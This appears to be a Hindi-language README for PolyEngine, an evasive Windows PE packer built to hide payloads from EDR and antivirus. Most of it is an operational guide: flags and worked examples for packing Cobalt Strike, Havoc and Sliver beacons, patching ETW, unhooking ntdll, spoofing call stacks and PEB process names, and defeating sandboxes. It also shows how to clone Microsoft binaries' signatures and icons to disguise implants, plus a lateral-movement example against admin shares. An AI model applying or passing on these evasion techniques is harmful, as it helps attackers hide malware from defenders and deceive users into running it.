PolyEngine — पॉलीमॉर्फिक PE पैकर 📦

PolyEngine एक research-grade, evasive PE पैकर है जिसे CTF चुनौतियों और low-level Windows सुरक्षा शिक्षा के लिए डिज़ाइन किया गया है। यह in-memory execution और obfuscation तकनीकों की एक स्तरित स्टैक के माध्यम से EDR और AV heuristics को बायपास करने पर केंद्रित है।

यह एक side project है जिस पर मैं कुछ समय से काम कर रहा हूँ। मैंने Claude Code का उपयोग उन कुछ तकनीकों को लागू करने और सही करने के लिए किया है, जिन्हें मैं अपने खुद के PE पैकर में लागू करना चाहता था। Functions और वे क्या करते हैं, इस पर बहुत सारी टिप्पणियाँ हैं, क्योंकि यह मेरे लिए एक बड़ा सीखने का अनुभव था और Claude इसे त्रुटिहीन रूप से करता है (मैं इसमें अच्छा नहीं हूँ)। मुझे उम्मीद है कि यह कुछ लोगों को Windows internals सीखने में या कुछ AVs और अधिक उन्नत solutions से static detections को बायपास करने में मदद करेगा, जब आप उन ProLabs 🏯 से निपटते हैं।

🔥 MalDevAcademy को बहुत-बहुत धन्यवाद, जिन्होंने इसे बनाने के लिए सभी सामग्री और प्रेरणा दी।

🌩 vx-underground को धन्यवाद, जिन्होंने एक नटखट बिल्ली वाले मज़ेदार tweet से प्रेरणा दी।

अस्वीकरण: यह टूल विशेष रूप से अधिकृत सुरक्षा परीक्षण, CTF प्रतियोगिताओं और शैक्षिक उपयोग के लिए है। बिना स्पष्ट अनुमति के सिस्टम के विरुद्ध इसका उपयोग निषिद्ध है। लेखक दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेता है।

उपयोग

निर्माण क्रम: पहले Stub, फिर Builder। Stub Release|x64 stub_v0.bin..stub_v3.bin उत्पन्न करता है; Builder एक को .rsrc में embed करता है।

सुनिश्चित करें कि stub_v0.bin..stub_v3.bin working directory में हैं (या --stub pass करें)।``` Builder.exe [OPTIONS]

Target PE (.exe/.dll) or raw shellcode (.bin) Payload type is auto-detected from the MZ header - no flag needed. Output executable

Loader: --stub Loader stub PE [default: random ./stub_v0.bin..stub_v3.bin] --preset PRINT|MEDIA|NETWORK|RANDOM Module stomping DLL preset [default: PRINT] --overload Module overloading instead of stomping (NtCreateSection/NtMapViewOfSection, not in PEB LDR) --keep-alive ExitThread(0) instead of ExitProcess (required for C2 implants that spawn their own threads) --unhook Restore original .text bytes in ntdll/kernel32/ kernelbase from \KnownDlls\ clean copies (overwrites EDR inline hooks before any payload syscall)

Payload (PE/DLL only, silently ignored for shellcode): --export DLL export to invoke after DllMain --arg Argument passed to the export [max 127 chars]

Evasion (all ON by default): --spoof-name Process name for PEB spoof [default: random from pool] Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe SearchIndexer.exe taskhostw.exe spoolsv.exe wlrmdr.exe WMPDMC.exe hvix64.exe --exec-ctrl-name Semaphore name for exec-ctrl check [default: wuauctl] (max 31 chars) --sleep-fwd-ms Sleep duration for sleep-fwd check [default: 500] Detection threshold: 90% of elapsed --uptime-min Uptime threshold for uptime check [default: 2] --hammer-s API-hammer delay duration [default: 3] --disable <token,token...> Disable one or more features (comma-separated, repeatable)

OPSEC tokens: etw EtwEventWrite patch (ETW telemetry suppression) spoofing Call-stack spoofing (SilentMoonwalk RSP pivot) peb PEB path/cmdline spoof tls TLS anti-debug callback (patches loader stub before embedding)

Sandbox/debug check tokens: hammer API-hammer timing delay (VirtualAlloc/Free loop) debugger Debugger detection (PEB flags / NtQueryInformationProcess) api-emu API emulation probe (RtlComputeCrc32 identity check) exec-ctrl Execution-control semaphore (re-execution detection) sleep-fwd Sleep-forwarding detection (timing) uptime System uptime check cpu CPU count check (< 2 logical cores) screen Screen resolution check (<= 1024 px width) files Recent-files count check (< 5 RecentDocs subkeys) all Disable every token listed above

Identity spoofing: --pfx PFX certificate container to sign the output with --pfx-pass PFX passphrase [omit if PFX has no password] --ts-url RFC 3161 timestamp URL [default: no timestamping] OPSEC: timestamping reveals build IP/time to the TSA. Enable only when signing from an isolated VM, or when the signature must survive cert revocation. --clone-meta <donor.exe> Clone VERSIONINFO, icon, and Authenticode cert directory from a donor PE (e.g. notepad.exe, OneDrive.exe). Explorer "Details" tab shows donor company/product/version; file icon matches donor; "Digital Signatures" tab shows donor's signer (HashMismatch — defeats visual inspection only). Name output to match donor OriginalFilename field. When combined with --pfx: real signature overwrites cloned cert. --uac Embed a UAC elevation manifest (requireAdministrator). Output PE prompts for admin privileges on launch. Applied as Phase 10.5 (after packing, before signing).

Examples: Builder.exe implant.exe packed.exe Builder.exe implant.exe packed.exe --stub stub_v2.bin Builder.exe shellcode.bin packed.exe --keep-alive Builder.exe beacon.dll packed.exe --export Start --keep-alive Builder.exe payload.dll packed.exe --export Execute --arg "calc.exe" Builder.exe implant.exe packed.exe --preset NETWORK --disable etw,tls Builder.exe implant.exe packed.exe --overload --hammer-s 5 --uptime-min 5 Builder.exe implant.exe packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000 Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx Builder.exe implant.exe packed.exe --uac Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx

---

## उदाहरण

परिदृश्य के अनुसार समूहीकृत कार्यशील उदाहरण। हर फ़्लैग ऑप्ट-आउट है (एवेज़न डिफ़ॉल्ट रूप से पूरी तरह सक्षम है), इसलिए सबसे सरल इनवोकेशन को भी पूरा स्टैक मिल जाता है।

<details>
<summary><b>बेसिक पैकिंग - EXE / DLL / shellcode</b></summary>

एक अनमैनेज्ड EXE पैक करें। बिल्डर `MZ` हेडर का ऑटो-डिटेक्शन करता है और RunPE पथ से रूट करता है:```
Builder.exe implant.exe packed.exe

रॉ पोजीशन-इंडिपेंडेंट शेलकोड पैक करें (Cobalt Strike .bin, msfvenom -f raw, आदि)। कोई MZ नहीं → सीधे डीकंप्रेस्ड बफर में कॉल करें:``` Builder.exe beacon.bin packed.exe

एक DLL पैक करें और केवल इसके डिफ़ॉल्ट `DllMain` को कॉल करें (कोई एक्सपोर्ट नहीं):```
Builder.exe payload.dll packed.exe

गैर-डिफ़ॉल्ट स्थान से स्टब का उपयोग करें:``` Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin

</details>

<details>
<summary><b>एक्सपोर्ट्स के साथ DLL पेलोड - Havoc / Sliver / कस्टम बीकन</b></summary>

`DllMain` के लौटने के बाद एक नामित एक्सपोर्ट को कॉल करें। अधिकांश C2 इम्प्लांट एक DLL के रूप में आते हैं जिसमें एक single entry एक्सपोर्ट होता है (उदा. Havoc Demon: `Start`, Sliver: `RunSliver`):```
Builder.exe demon.dll packed.exe --export Start --keep-alive

एक्सपोर्ट को स्ट्रिंग तर्क पास करें (अधिकतम 127 अक्षर)। उन पेलोड के लिए उपयोगी जो कॉन्फ़िग स्ट्रिंग, URL, या शेल कमांड लेते हैं:``` Builder.exe runner.dll packed.exe --export Execute --arg "https://c2.example.com/stage" Builder.exe loader.dll packed.exe --export Run --arg "C:\Windows\System32\calc.exe"

`--keep-alive` उन पेलोड के लिए आवश्यक है जो अपने स्वयं के थ्रेड बनाते हैं - इसके बिना लोडर `ExitProcess` को कॉल करता है और बीकन को मार देता है।

</details>

<details>
<summary><b>लंबे समय तक चलने वाले इम्प्लांट (C2 बीकन्स)</b></summary>

Cobalt Strike / Sliver / Havoc सभी एक बीकन थ्रेड बनाते हैं और लौट आते हैं। लोडर थ्रेड को प्रोसेस को खत्म किए बिना समाप्त होना चाहिए:```
Builder.exe beacon.exe   packed.exe --keep-alive
Builder.exe beacon.bin   packed.exe --keep-alive
Builder.exe demon.dll    packed.exe --export Start --keep-alive

मॉड्यूल स्टॉम्पिंग प्रीसेट - होस्ट DLL का चयन

डिक्रिप्टर स्टब एक बेनाइन Windows DLL के .text सेक्शन के अंदर छिपा होता है। वह प्रीसेट चुनें जिसके लोड किए गए मॉड्यूल लक्ष्य संदर्भ के लिए सबसे वैध दिखते हैं:``` Builder.exe implant.exe packed.exe --preset PRINT Builder.exe implant.exe packed.exe --preset MEDIA Builder.exe implant.exe packed.exe --preset NETWORK Builder.exe implant.exe packed.exe --preset RANDOM

`PRINT` (डिफ़ॉल्ट) - `xpsservices.dll`, `msi.dll`, `dbghelp.dll`। अधिकांश वर्कस्टेशनों पर सामान्य।
`NETWORK` - `winhttp.dll`, `wtsapi32.dll`, `wlanapi.dll`। ऐसे पेलोड के लिए उपयुक्त है जिसे पहले से ही नेटवर्क APIs लोड करने की आवश्यकता होती है।
`RANDOM` - पूरे पूल से तीन यादृच्छिक इंडेक्स (`bcrypt.dll`, idx 9 सहित)।

`LoadLibraryW` स्टॉम्पिंग से `NtCreateSection`+`NtMapViewOfSection` ओवरलोडिंग पर स्विच करें (DLL कभी `PEB.Ldr` में प्रवेश नहीं करती):```
Builder.exe implant.exe packed.exe --overload
Builder.exe implant.exe packed.exe --overload --preset NETWORK

EDR यूज़रलैंड अनहुकिंग

किसी भी EDR इनलाइन हुक्स के ऊपर \KnownDlls\ से ntdll, kernel32, kernelbase के स्वच्छ .text बाइट्स पुनर्स्थापित करें। HellsHall पहले से ही संवेदनशील Nt* हुक्स को बायपास कर देता है; --unhook केवल तभी आवश्यक है जब पेलोड स्वयं हुक्ड Win32 APIs (जैसे LoadLibrary, CreateProcess) को कॉल करता है:``` Builder.exe implant.exe packed.exe --unhook Builder.exe implant.exe packed.exe --unhook --preset NETWORK --keep-alive

</details>

<details>
<summary><b>PEB स्पूफिंग - प्रोसेस का भेष बदलना</b></summary>

स्वतः चयनित स्पूफ नाम को ओवरराइड करें। कुछ ऐसा चुनें जो पैरेंट प्रोसेस / लॉन्च संदर्भ में फिट बैठता हो (Office मैक्रो → `RuntimeBroker.exe` अजीब लगता है, `WmiPrvSE.exe` बेहतर घुलमिल जाता है):```
Builder.exe implant.exe packed.exe --spoof-name SgrmBroker.exe
Builder.exe implant.exe packed.exe --spoof-name svchost.exe

एवेज़न थ्रेशोल्ड को ट्यून करना

धैर्यवान सैंडबॉक्स के विरुद्ध लंबा हैमर विलंब, जो निर्णय लेने से पहले दसियों सेकंड तक चलते हैं:``` Builder.exe implant.exe packed.exe --hammer-s 10

उच्च अपटाइम सीमा - केवल तभी चलाएं जब बॉक्स कम से कम 30 मिनट से चालू हो (अधिकांश सैंडबॉक्स प्रति नमूना एक नया VM चालू करते हैं):```
Builder.exe implant.exe packed.exe --uptime-min 30

सख्त स्लीप-फ़ॉरवर्डिंग पहचान (छोटी नींद, बिना देखने योग्य त्रुटि के तेज़-आगे बढ़ाना कठिन):``` Builder.exe implant.exe packed.exe --sleep-fwd-ms 200

exec-control जाँच के लिए कस्टम सेमाफोर नाम (डिफ़ॉल्ट `wuauctl` का उपयोग करने वाले किसी अन्य सैंपल से टकराव से बचाता है):```
Builder.exe implant.exe packed.exe --exec-ctrl-name OneDriveSync

पैरानॉयड प्रोफ़ाइल के लिए सब कुछ स्टैक करें:``` Builder.exe implant.exe packed.exe --hammer-s 8 --uptime-min 15 --sleep-fwd-ms 250 --exec-ctrl-name TeamsUpdate

</details>

<details>
<summary><b>डिबगिंग / लैब कार्य के लिए सुविधाएँ अक्षम करना</b></summary>

डिबगर में पुनरावृत्ति करते समय, TLS कॉलबैक और डिबगर जाँचें तुरंत ट्रिगर हो जाती हैं। स्वतंत्र रूप से अटैच करने के लिए दोनों को अक्षम करें:```
Builder.exe implant.exe packed.exe --disable tls,debugger

हर सैंडबॉक्स जांच को छोड़ें (फिर भी OPSEC सुविधाएँ चालू रखता है - ETW patch, PEB spoof, call-stack spoof):``` Builder.exe implant.exe packed.exe --disable hammer,debugger,api-emu,exec-ctrl,sleep-fwd,uptime,cpu,screen,files

वही बात, संक्षेप में:```
Builder.exe implant.exe packed.exe --disable all

विशिष्ट OPSEC सुविधाओं को अक्षम करें (जैसे जब लक्ष्य वातावरण को ETW पैचिंग की आवश्यकता नहीं होती, या PEB स्पूफ़ उस payload को तोड़ देता है जो अपने स्वयं के PEB को ट्रैवर्स करता है):``` Builder.exe implant.exe packed.exe --disable etw Builder.exe implant.exe packed.exe --disable peb,spoofing

यथार्थवादी संयोजन

Cobalt Strike beacon DLL, नेटवर्क-थीम वाला होस्ट, पूर्ण इवेज़न, कस्टम म्यूटेक्स नाम:``` Builder.exe beacon.dll packed.exe --export Start --keep-alive --preset NETWORK --exec-ctrl-name MicrosoftEdgeUpdate

Havoc Demon shellcode, स्टॉम्पिंग के बजाय ओवरलोडिंग, लंबा हैमर विलंब:```
Builder.exe demon.bin packed.exe --keep-alive --overload --hammer-s 6

एक CTF के लिए Stage-2 EXE जहाँ आप trigger को नियंत्रित करते हैं और anti-debug की आवश्यकता नहीं होती:``` Builder.exe stage2.exe packed.exe --disable all --disable tls,debugger

पार्श्व-गति सहायक DLL, पथ तर्क के साथ:```
Builder.exe lateral.dll packed.exe --export Spread --arg "\\\\TARGET\\C$\\Users\\Public\\" --keep-alive --unhook

सामान्य Microsoft बाइनरी के रूप में प्रच्छन्न दीर्घकालिक इम्प्लांट, पूर्ण इवेज़न स्टैक:``` Builder.exe beacon.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe" --keep-alive --preset NETWORK --uptime-min 10

वास्तविक self-signed cert + मेल खाती VERSIONINFO पहचान के साथ पैक्ड नमूना:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx lab.pfx --pfx-pass test

बिल्ड

Visual Studio 2022 (MSVC v143), केवल Release|x64। PolyEngine.sln खोलें।

बिल्ड क्रम मायने रखता है:

Stub प्रोजेक्ट (Release|x64) → MSBuild फैन-आउट x64/Release/stub_v0.bin … stub_v3.bin उत्पन्न करता है (POLY_VARIANT=0..3)
Builder प्रोजेक्ट → Builder/x64/Release/Builder.exe बनाता है (या सोल्यूशन OutDir)

प्रत्येक stub_v*.bin एक PE है जिसमें केवल लिंकर एंट्री EntryPoint है (कोई CRT नहीं)। वेरिएंट OPSEC फेज़ क्रम और डिकॉय/आइलैंड लेआउट में भिन्न होते हैं; HellsHall/Moonwalk साझा रहते हैं। Builder CWD से यादृच्छिक रूप से एक का चयन करता है (या --stub के माध्यम से), StubMorph चलाता है, फिर पेलोड को प्रति-बिल्ड RT_RCDATA ID के अंतर्गत एम्बेड करता है।

MASM: Stub.vcxproj → HellsHall.asm; Builder → Engine/DecryptorStub.asm। कोई CMake नहीं, कोई Makefile नहीं।

नया API हैश जोड़ने के लिए: Djb2HashA("ApiName") की गणना करें (ApiHashing.cpp में समान एल्गोरिदम), ApiHashing.h में एक g_Hash_* ग्लोबल जोड़ें, और इसे ApiHashing_InitHashes() में इनिशियलाइज़ करें।

आर्किटेक्चर अवलोकन

तीन घटक एक pack → encrypt → inject पाइपलाइन लागू करते हैं: Builder इनपुट PE/shellcode को पैक करता है, Engine (साझा लिब) क्रिप्टो/कम्प्रेशन/म्यूटेशन प्रिमिटिव प्रदान करता है, Stub आउटपुट PE में एम्बेडेड रनटाइम निष्पादक है।

विस्तृत पाइपलाइन + Stub निष्पादन प्रवाह

``` Builder.exe ├── picks loader stub (random stub_v0..v3.bin, or --stub ) ├── reads target PE or raw shellcode (.bin) ├── LZNT1 compress ├── CompoundEncrypt (inner cipher: XOR+ROL+ADD+XOR, per-build key) ├── MutationEngine → unique polymorphic ASM decryptor per build ├── CryptGenRandom → per-build XTEA key salt + DLL preset indices ├── XTEA-CTR encrypt (outer layer) ├── BuildInfectedPE: │ ├── patch TLS guard marker (--disable tls) │ ├── patch g_PayloadResIdMarker → per-build RT_RCDATA ID │ ├── StubMorph_Apply → timestamp, section-name profile, island/tag randomize │ ├── write stub → output PE │ └── UpdateResource(RT_RCDATA, id) → [XTEA blob | 280-byte metadata] ├── (optional) UAC manifest / clone-meta / Authenticode sign └── Output.exe

Output.exe (= stub_v* variant + StubMorph + .rsrc payload) ├── Loader_InitApis — ApiHashing_InitHashes + resolve kernel32 APIs ├── Loader_LoadPayload — GetPayloadFromResource (280-byte metadata / opsecFlags) ├── Loader_Evasion — HammerDelay + RunChecks (Win32 only, before syscalls) ├── Loader_InitSyscalls — FreshyCalls SSN sort + InitNtApi (HellsHall bind) ├── Loader_OpsecPhase — order depends on POLY_VARIANT (0..3): │ Unhook / StackSpoof_Init / PatchEtw / XTEA decrypt / SpoofPeb │ (HellsHall.asm + g_Spoof* layout identical in every variant) ├── Loader_DecryptExec — ModuleStomp or ModuleOverload; decryptor RX call (RCX=payload); │ LZNT1 decompress; restore stomped .text └── Loader_RunPayload — StackSpoof_Cleanup then RunPE (PE) or RX+call (shellcode); keep-alive: ExitThread (PE) or Sleep park (raw SC)

</details>

---

## बाईपास तकनीकें

<details>
<summary><b>लोडर वेरिएंट — <code>stub_v0.bin</code>..<code>stub_v3.bin</code></b></summary>

Stub रिलीज़ |x64 MSBuild के माध्यम से **चार** लोडर बनाता है (`POLY_VARIANT=0..3`, अलग `IntDir`)। प्रत्येक बाइनरी में OPSEC चरणों का क्रम और प्रति-वेरिएंट डिकॉय/आइलैंड आकार (`PolyIslands.c`) अलग होते हैं, इसलिए स्थैतिक हैश भिन्न हो जाते हैं। साझा और **कभी नहीं** वेरिएंट-फोर्क किए गए: `HellsHall.asm`, SilentMoonwalk डेटा लेआउट (`g_SpoofSyntheticStack`), TLS/ResID मार्कर टैग।

| वेरिएंट | `Loader_OpsecPhase` क्रम |
|---|---|
| V0 | Unhook → Spoof → ETW → XTEA → PEB |
| V1 | Spoof → Unhook → XTEA → PEB → ETW |
| V2 | Unhook → Spoof → PEB → XTEA → ETW |
| V3 | Spoof → ETW → Unhook → XTEA → PEB |

बिना `--stub` वाला बिल्डर CWD में मौजूद `stub_v0.bin`..`stub_v3.bin` में से यादृच्छिक रूप से चुनता है (`CryptGenRandom`)। `--stub <path>` किसी एक फ़ाइल को बाध्य करता है।

</details>

<details>
<summary><b>पैक-समय StubMorph</b></summary>

TLS/ResID मार्कर पैच के बाद और आउटपुट PE लिखने से पहले, `StubMorph_Apply` (`Engine/StubMorph.c`) चुने गए लोडर इमेज को उसी स्थान पर बदल देता है:

- स्वाभाविक `TimeDateStamp` **[अब−5y, अब]** सीमा से लिया जाता है — एक पूर्णतः यादृच्छिक DWORD भविष्य में पड़ सकता है, जो कि एक ह्युरिस्टिक फ़्लैग है
- टूलचेन-प्रोफ़ाइल सेक्शन नाम (MSVC / MinGW / Delphi / NSIS शैली, प्रति बिल्ड चुने जाते हैं; `.rsrc`, `.reloc`, `.tls`, `.CRT` को छोड़ता है) — यादृच्छिक 8-अक्षर वाले नाम UPX-शैली पैकर ह्युरिस्टिक्स को ट्रिगर कर देंगे
- `IMAGE_DIRECTORY_ENTRY_DEBUG` + PE चेकसम साफ़ करें (बाद में `--pfx` होने पर पुनर्गणना की जाती है)
- POLY आइलैंड पैड्स (`PolyIslands.c` में `50 4C 59 A0` … `AF` मार्कर, `g_PolyDecoy` आइलैंड सहित) को **समान लंबाई** के यादृच्छिक बाइट्स से फिर से लिखें, फिर टैग मार्करों को स्वयं यादृच्छिक करें — आउटपुट PE में कोई `PLY` पैटर्न या निश्चित डिकॉय सामग्री नहीं बचती; कोई PE वृद्धि नहीं, कोई रिलोक फिक्सअप नहीं

HellsHall, स्पूफ ग्लोबल्स, या TLS/ResID पैचिंग द्वारा उपयोग किए जाने वाले मार्कर टैग को नहीं छूता।

</details>

<details>
<summary><b>अप्रत्यक्ष सिस्कॉल — HellsHall</b></summary>

सभी संवेदनशील NT ऑपरेशन (`NtProtectVirtualMemory`, `NtAllocateVirtualMemory`, आदि) प्रक्रिया ntdll में हुक किए गए यूज़र-मोड स्टब्स के बजाय अप्रत्यक्ष सिस्कॉल से होकर जाते हैं:

1. स्टार्टअप पर, `Syscalls_Init()` प्रक्रिया ntdll की Export Directory को पार्स करता है और प्रत्येक `Zw*` फ़ंक्शन के RVA को एक फ्लैट टेबल में एकत्र करता है।
2. SSN **RVA-क्रमबद्धता** (HellsGate/FreshyCalls वेरिएंट) द्वारा प्राप्त होते हैं: सभी `Zw*` RVA क्रमबद्ध किए जाते हैं; क्रमबद्ध सूचकांक == SSN। डिज़ाइन से हुक-स्वतंत्र — तब भी काम करता है जब EDR हुक्स ने फ़ंक्शन प्रोलॉग्स को फिर से लिखा हो, क्योंकि हुक्स एक्सपोर्ट्स के क्रम को नहीं बदलते।
3. प्रक्रिया ntdll के `.text` सेक्शन के अंदर एक `syscall; ret` (`0F 05 C3`) ट्रैम्पोलिन स्थित होता है। यह 3-बाइट अनुक्रम प्रत्येक `Nt*` स्टब की मानक पूंछ है। EDR यूज़रलैंड इनलाइन हुक्स निर्यातित `Nt*` फ़ंक्शनों के *प्रवेश बिंदु* (पहले 5–15 बाइट्स) को लक्षित करते हैं — स्टब के अंत में मौजूद syscall निर्देश को कभी नहीं, क्योंकि स्टब के बीच में पैच करना उसके अर्थ को तोड़ देगा। इसलिए किसी भी मेल खाते स्थान पर बाइट्स अपरिवर्तित रहते हैं, एक स्वच्छ `\KnownDlls\` मैपिंग के समान, और डिस्क पर `C:\Windows\System32\ntdll.dll` द्वारा समर्थित MEM_IMAGE मेमोरी में रहते हैं। `g_CleanTrampoline` सीधे वहीं इंगित करता है — कोई द्वितीयक ntdll मैपिंग नहीं, कोई MEM_PRIVATE प्रति नहीं।
4. सभी सिस्कॉल `g_CleanTrampoline` पर कूदते हैं — निर्यातित Nt* प्रवेश बिंदुओं पर EDR हुक्स को बायपास कर दिया जाता है। ETW कर्नेल-साइड स्टैक वॉकर के दृष्टिकोण से, लीफ फ्रेम पहले से ही `ntdll.dll` के अंदर उतरता है (कोई "बिना बैकिंग वाला syscall" IOC नहीं)।

</details>

<details>
<summary><b>यूज़रलैंड अनहुकिंग — <code>--unhook</code></b></summary>

वैकल्पिक पास जो `Syscalls_Init()` के बाद और किसी भी पेलोड-प्रासंगिक सिस्कॉल से पहले एक बार चलता है। `ntdll`, `kernel32`, `kernelbase` में से प्रत्येक के लिए:

1. `NtOpenSection(\KnownDlls\<dll>)` + `NtMapViewOfSection` — स्वच्छ इमेज बाइट्स (वही साझा सेक्शन जिसे लोडर ने शुरू में मैप किया था, इससे पहले कि कोई EDR हुक्स स्थापित कर सके)।
2. जीवित `.text` की `memcmp` स्वच्छ प्रति के साथ पेज-दर-पेज।
3. जहाँ बाइट्स भिन्न हैं (= EDR इनलाइन हुक): `NtProtect RX→RW`, हुक के ऊपर स्वच्छ बाइट्स `memcpy` करें, `NtProtect RW→RX`।
4. अनमैप करके बंद करें।

यह किसी भी बाद के Win32 कॉल (PEB वॉक्स, `LoadLibrary`, आदि) के लिए सामान्य `ntdll.dll`/`kernel32.dll`/`kernelbase.dll` सेमैंटिक्स को बहाल करता है। जब `--unhook` छोड़ दिया जाता है तो इसे छोड़ दिया जाता है — HellsHall अपने आप में पहले से ही सभी संवेदनशील `Nt*` हुक्स को बायपास कर देता है, इसलिए अनहुकिंग ऑप्ट-इन है (यह एक भारी क्रिया है जिसमें असामान्य हुक लेआउट को तोड़ने का छोटा जोखिम होता है)।

</details>

<details>
<summary><b>कॉल स्टैक स्पूफिंग — SilentMoonwalk RSP पिवट</b></summary>

EDR syscall फायर होने के क्षण में थ्रेड कॉल स्टैक की निगरानी करते हैं ताकि यह सत्यापित किया जा सके कि कॉलर श्रृंखला वैध दिखती है। PolyEngine इसे **SilentMoonwalk-शैली RSP पिवट** से विफल कर देता है — कोई हार्डवेयर ब्रेकपॉइंट नहीं, कोई VEH हैंडलर नहीं, कोई अपवाद नहीं:

1. `StackSpoof_Init()` ntdll के `.text` (और किसी भी अन्य `IMAGE_SCN_MEM_EXECUTE` सेक्शन) को दो गैजेट्स के लिए स्कैन करता है:
   - **गैजेट 1** — `add rsp, imm8; ret` (`48 83 C4 XX C3`) ऐसे फ़ंक्शन के अंदर जिसका `UNWIND_INFO` मेल खाते `imm8` आवंटन डेल्टा का विज्ञापन करता है। `imm8 < 0x20` तक सीमित ताकि श्रृंखला फॉरवर्डेड स्टैक आर्ग्स से न टकराए।
   - **गैजेट 2** — `jmp rbx` (`FF E3`), कच्चे बाइट स्कैन द्वारा किसी भी निष्पादन योग्य सेक्शन में स्थित, लेकिन केवल तभी स्वीकार किया जाता है जब मेल खाता स्थान किसी `RUNTIME_FUNCTION` के अंदर हो जिसका `UNWIND_INFO` साफ़ रूप से पार्स होता है। फ़ंक्शन का `allocDelta` यह निर्धारित करता है कि `RtlUserThreadStart` सिंथेटिक स्टैक पर कहाँ रोपा जाता है, इसलिए बिना मेल खाते रनटाइम फ़ंक्शन वाला गैजेट EDR-दृश्यमान श्रृंखला को तोड़ देगा। लंबे निर्देश के बीच में कूदना ठीक है — CPU पूर्ववर्ती बाइट की परवाह किए बिना गैजेट पते से `FF E3` को डिकोड करता है।
2. एक स्थैतिक `g_SpoofSyntheticStack[32]` इस प्रकार व्यवस्थित है कि ट्रैम्पोलिन का `ret` गैजेट1 → गैजेट2 → लोडर के निरंतरता बिंदु तक वापस चलता है, जिसमें `RtlUserThreadStart` स्पष्ट थ्रेड रूट के रूप में आगे नीचे रोपा जाता है।
3. `HellsHallSyscall` की हर कॉल (जब स्पूफिंग सक्षम हो) `push rbx; lea rbx, AfterJmpPoint; mov [g_SpoofSavedRsp], rsp; lea rsp, g_SpoofSyntheticStack; jmp r11` करती है। कर्नेल को सिंथेटिक स्टैक की ओर इंगित करता हुआ RSP दिखता है, जो वैध ntdll कोड में एंकर होता है।
4. स्टैक-आधारित syscall तर्क (5..10) कॉलर के फ्रेम से पिवट से *पहले* ऑफ़सेट `0x28..0x50` पर सिंथेटिक स्टैक में अग्रेषित किए जाते हैं — इसके बिना, कर्नेल गैजेट पतों को तर्क के रूप में पढ़ लेगा और `STATUS_ACCESS_VIOLATION` लौटाएगा।
5. सिस्कॉल के बाद, गैजेट2 का `jmp rbx` `AfterJmpPoint` पर पहुँचता है, जो `g_SpoofSavedRsp` से RSP को बहाल करता है, `rbx` को पॉप करता है, और लोडर पर लौटता है।
6. `StackSpoof_Cleanup()` `g_SpoofEnabled` को साफ़ करता है ताकि पेलोड के अपने थ्रेड्स वास्तविक रिटर्न पते देख सकें।

</details>

<details>
<summary><b>मॉड्यूल स्टॉम्पिंग / मॉड्यूल ओवरलोडिंग</b></summary>

`VirtualAlloc(RWX)` के बजाय, पॉलीमॉर्फिक डिक्रिप्टर वैध रूप से लोड की गई Windows DLL के `.text` सेक्शन के अंदर निष्पादित होता है। कोई भी RWX मेमोरी कभी आवंटित नहीं की जाती।

**स्टॉम्पिंग (डिफ़ॉल्ट — `LoadLibraryW`, DLL PEB LDR में दिखाई देती है):**

1. `ModuleStomp_Alloc()` `--preset` द्वारा चुने गए तीन DLLs को पुनरावृत्त करता है। DLL अनुक्रमणिकाएँ `.rsrc` में संग्रहीत होती हैं और रनटाइम पर `g_DllPool` से हल की जाती हैं।
2. डिक्रिप्टर स्टब के लिए पर्याप्त बड़े निष्पादन योग्य सेक्शन वाला पहला DLL चुना जाता है।
3. सेक्शन को छूने से पहले मूल `.text` बाइट्स एक निजी `RW` बफर में सहेजी जाती हैं।
4. डिक्रिप्टर स्टब (केवल) स्टॉम्प किए गए क्षेत्र में कॉपी किया जाता है। पेलोड ब्लॉब एक **अलग** `RW` आवंटन (`pEncryptedPayload`) में रहता है।
5. `NtProtect RW → RX`: स्टॉम्प किया गया क्षेत्र निष्पादन योग्य बन जाता है। पेलोड आवंटन `RW` ही रहता है — डिक्रिप्टर को उसका पता `RCX` (Windows x64 ABI का पहला तर्क) में प्राप्त होता है।
6. डिक्रिप्टर चलता है, `pEncryptedPayload` को उसी स्थान पर डिक्रिप्ट करता है। लौटने के तुरंत बाद `NtProtect RX → RW`।
7. क्षेत्र मिटा दिया जाता है, मूल बाइट्स बहाल कर दी जाती हैं, सेक्शन को वापस `PAGE_EXECUTE_READ` पर सेट कर दिया जाता है।

**ओवरलोडिंग (`--overload` — `NtCreateSection(SEC_IMAGE)` + `NtMapViewOfSection`, PEB LDR में नहीं):**

- स्टॉम्पिंग जैसा ही सेव/रिस्टोर पैटर्न और no-RWX इन्वेरिएंट।
- DLL सीधे रॉ फ़ाइल हैंडल से मैप की जाती है — `PEB.Ldr` में कभी दिखाई नहीं देती, जिससे लोड किए गए मॉड्यूल्स की गणना करने वाले टूल विफल हो जाते हैं।
- उपयोग के बाद: `NtUnmapViewOfSection` COW निजी पेजों को त्याग देता है, लेखन के सभी सबूत हटा देता है।

**दोनों मामलों में परिणाम:** मेमोरी क्षेत्र `MEM_IMAGE` है जो डिस्क पर DLL की फ़ाइल द्वारा समर्थित है — मेमोरी स्कैनर एक वैध इमेज मैपिंग देखते हैं, न कि एक अनाम `VirtualAlloc` क्षेत्र।

</details>

<details>
<summary><b>पॉलीमॉर्फिक डिक्रिप्टर — MutationEngine</b></summary>

प्रत्येक बिल्ड एक अद्वितीय 34-बाइट x64 ASM डिक्रिप्टर स्टब उत्पन्न करता है, जो किसी भी पिछले बिल्ड के समान कभी नहीं होता:

- **NOP / जंक सम्मिलन** — कार्यात्मक निर्देशों के बीच यादृच्छिक NOP/जंक निर्देश, RBX/R10/R11/R12/R13 को कवर करने वाले 22-प्रविष्टि पूल से लिए गए (PUSH/POP, XCHG, TEST, MOV सेल्फ-कॉपी)
- **रजिस्टर स्वैपिंग** — कार्यात्मक रजिस्टरों को समतुल्य सेटों में यादृच्छिक रूप से पुनः असाइन किया जाता है
